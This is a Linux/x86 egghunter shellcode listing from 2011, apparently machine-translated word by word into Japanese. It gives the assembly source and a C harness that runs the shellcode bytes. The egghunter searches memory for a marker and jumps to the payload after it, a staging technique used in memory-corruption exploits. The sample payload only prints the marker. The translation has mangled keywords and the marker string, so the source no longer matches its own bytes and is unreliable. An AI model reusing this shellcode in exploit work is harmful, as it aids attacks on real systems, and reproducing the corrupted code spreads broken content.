このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - egghunt shellcode - 29 bytes
/*
偉業/利用する 肩書を与える: Linux/x86 egghunt shellcode 29 bytes NULL 解放する/自由な
Date: 23-07-2011
Author: Ali Raheem
実験(する)d on:
Linux Ali-PC.home 2.6.38.8-35.fc15.x86_64 #1 SMP 結婚する Jul 6 13:58:54 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Linux 不正 2.6.38-10-generic #46-Ubuntu SMP Tue Jun 28 15:05:41 UTC 2011 i686 i686 i386 GNU/Linux
http://codepad.org/2yMrNY5L Code pad lets you 遂行する/発効させる code live check here for a live demostration
Thanks: Stealth- for 実験(する)ing and codepad.com for 存在 so useful.
section .data
    msg     db "We 設立する the egg!",0ah,0dh
        msg_len equ $-msg
        egg     equ "egg "
        egg1    equ "示す"
section .text
    全世界の  _start
_start:
        jmp     _return
_continue:
    pop     eax             ;This can point anywhere valid
_next:
        inc     eax     ;change to dec if you want to search backwards
_isEgg:
        cmp     dword [eax-8],egg
        jne     _next
        cmp     dword [eax-4],egg1
        jne     _next
        jmp     eax
_return:
        call    _continue
_egg:
        db  "egg 示す"              ;QWORD egg marker
        sub     eax,8
        mov     ecx,eax
        mov     edx,8
        mov     eax,4
        mov     ebx,1
        int     80h
        mov     eax,1
        mov     ebx,0
        int     80h
*/
char hunter[] =
"\xeb\x16"
"\x58"
"\x40" /* \x40 = inc eax, \x48 = dec eax try both*/
"\x81\x78\xf8\x65\x67\x67\x20"
"\x75\xf6"
"\x81\x78\xfc\x6d\x61\x72\x6b"
"\x75\xed"
"\xff\xe0"
"\xe8\xe5\xff\xff\xff";
 
char egg[] =
"egg 示す" /* The 残り/休憩(する) of this is the shellcode you want 設立する*/
"\x83\xe8\x08" /*This shellcode prints eax-4 i.e. the egg 示す*/
"\x89\xc1"
"\xba\x08\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80";
 
int main(){
     (*(無効の  (*)()) hunter)();
     return 0;
}